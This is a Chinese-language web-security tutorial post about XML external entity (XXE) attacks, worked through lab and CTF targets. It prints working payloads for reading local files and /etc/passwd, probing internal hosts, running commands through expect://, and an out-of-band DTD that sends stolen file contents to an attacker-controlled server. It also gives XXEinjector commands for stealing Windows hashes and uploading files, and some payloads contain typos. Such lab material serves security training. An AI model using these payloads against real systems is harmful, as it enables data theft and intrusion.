【XXE&XML】---利用检测绕过全解---day39

【XXE&XML】---利用检测绕过全解---day39

一、思维导图

image-20210503170434370

二、基本概念

1、XML介绍

image-20210503170544548

2、XML与HTML的主要差异

image-20210503170721584

3、XML示例

<!--文档类型定义-->
<!DOCTYPE note [	<!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>	<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>			<!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>		<!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>		<!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>		<!--定义body元素为"#PCDATA"类型-->
]]]>

<!--文档元素-->
<note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
</note>

三、案例演示

1、pikachu靶场XML数据传输测试-回显,玩法,协议,引入

image-20210503171313756

  • 打开靶场

image-20210503171544217

  • 玩法-读文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>

前提是d盘要存在那个文件。

复制到输入框,提交。

image-20210503172023209

直接就读取到了。可以看出这就是有回显的文件利用的一个攻击。

  • 玩法-内网探针或攻击内网应用(触发漏洞地址)
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "http://192.168.xxx.xxx:80/index.txt">
]>
<x>&rabbit;</x>

上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放。

  • 玩法-RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [
		<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

id是对于的执行的命令。实战情况比较难碰到。

①引入外部实体DTD

DTD是一个格式文件,下面的思路就是去引用一个xml的格式文件,相当于会把DTD里面的代码当做XML来执行,所以可以在DTD文件里写上想要执行的代码。一般用来绕过WAF或过滤。

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">
		%file;
]>
<x>&send;</x>

//下面的是写入文件的
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施。

image-20210503173330196

②无回显-读取文件

<?xml version = "1.0"?>
<!DOCTYPE test [
		<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
		<!ENTITY % dtd SYSTEM "http://192.168.xx.xxx:80XX/test.dtd">
		%dtd;
		%send;
]>


test.dtd:
<!ENTITY % payload
	"<!ENTITY &#x25; send SYSTEM
'http://192.168.xx.xxx:80xx/?data=%file;'>"
>
%payload;

上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。

③协议-读文件(绕过)

参考:

https://www.cnblogs.com/20175211lyz/p/11413335.html
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM
"php://filter/read=convert.base64-encode/resource=xxe.php">
]>

<x>&x;</x>

2、XXE-lab靶场登录框xml数据传输测试-检测发现

image-20210504113031875

随便发个包,用bp爬行一下网站结构。搜索xml类型的请求,

image-20210504113120885

说明数据包在传输数据的时候,采用的是XML的数据格式,符合xxe漏洞的条件。

①检测发现:

1、提交的数据包含XML格式如:
<forgot><username>admin</username></forgot>
2、请求头中如:
Content-Type: text/xml或Content-type:application/xml


<?xml version="1.0"?>
<!DCOTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

提交payload,在xml的那个数据包中。

image-20210504113619892

3、CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式

http://web.jarvisoj.com:9882/
更改请求数据格式:c

<?xml version= = "1.0"? >
<!DOCTYPE ANY [
	<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

image-20210504114655282

点击Go,抓包

image-20210504114723305

数据传输形式是采用json数据格式来提交传输的。通过修改数据格式来攻击,形成XXE漏洞。

image-20210504114855374

4、CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战

扫描IP及端口->扫描探针目录->抓包探针XXE安全->利用XXE读取源码->flag指向文件->base32 64解密->php运行->flag
www.vulnhub.com 
环境:
https://download.vulnhub.com/xxe/XXE.zip
下载使用


<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

image-20210504115936692

image-20210504121524927

下载后,需要在虚拟机中打开,但是不会告诉你用户名和密码,怕让知道以后,都不用攻击了。攻击机我们选择Ninjutsu os。

对这个ip地址进行扫描:

image-20210504135756810

所以说目标主机就是192.168.79.133,访问:

image-20210504140138318

可以用扫目录工具扫:

image-20210504140300515

试着访问xxe

image-20210504140349328

登录,抓包

image-20210504141003977

上传payload,攻击

image-20210504141518595

然后base64解密就可以了

image-20210504141658242

往下翻发现了用户名和密码

image-20210504141806976

密码是md5解密后的

https://cmd5.com 	解密

image-20210504141913626

得到用户名和密码,尝试登录,注意此时的url

image-20210504142226044

登录后:

image-20210504142329253

点击Flag

image-20210504142343846

打不开,说明XXE漏洞就在这里藏着,那么咱们还是抓包读取flagmeout.php这个文件。

image-20210504142642857

解密后

image-20210504142655474

得到括号里那一串,那个是base32的加密。

image-20210504142911535

解码之后又是base64!!.......再解码

image-20210504142944997

又来一个flag.php,心态崩了,搁这儿套娃呢。继续读这个文件,然后base64解密,出来下面这一串鬼,看不懂。但是应该是php代码。找个在线php运行网址,运行一下看看。

image-20210504143221670

运行之后:

image-20210504143559023

5、XXE安全漏洞自动化注射脚本工具--XXEinjector(Ruby)

工具下载地址:
https://github.com/enjoiz/XXEinjector
https://www.cnblogs.com/bmjoker/p/9614990.html

image-20210504144224093

工具使用:

image-20210504145026127

image-20210504144354332

--host     必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file      必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path           必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute          必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger        记录输出结果。
--rhost          远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport          远程主机的TCP端口信息。(--rport=8080)
--phpfilter    在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc     使用netdoc协议。(Java).
--enumports   枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes       窃取运行当前应用程序用户的Windows哈希。
--expect        使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload       使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt      XSLT注入测试。
--ssl              使用SSL。
--proxy         使用代理。(--proxy=127.0.0.1:8080)
--httpport Set自定义HTTP端口。(--httpport=80)
--ftpport       设置自定义FTP端口。(--ftpport=21)
--gopherport  设置自定义gopher端口。(--gopherport=70)
--jarport       设置自定义文件上传端口。(--jarport=1337)
--xsltport  设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test     该模式可用于测试请求的有效。
--urlencode     URL编码,默认为URI。
--output       爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout     设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout  设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast     跳过枚举询问,有可能出现结果假阳性。
--verbose     显示verbose信息。

使用样例:
枚举HTTPS应用程序中的/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl

使用gopher(OOB方法)枚举/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

二次漏洞利用:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

使用HTTP带外方法和netdoc协议对文件进行爆破攻击:

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc

通过直接性漏洞利用方式进行资源枚举:

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

枚举未过滤的端口:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

窃取Windows哈希:

ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes

使用Java jar上传文件:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

使用PHP expect执行系统指令:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

测试XSLT注入:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt

记录请求信息:

ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

四、防御

image-20210504145656647

posted @ 2021-05-17 21:27  DarkerG  阅读(593)  评论(0编辑  收藏  举报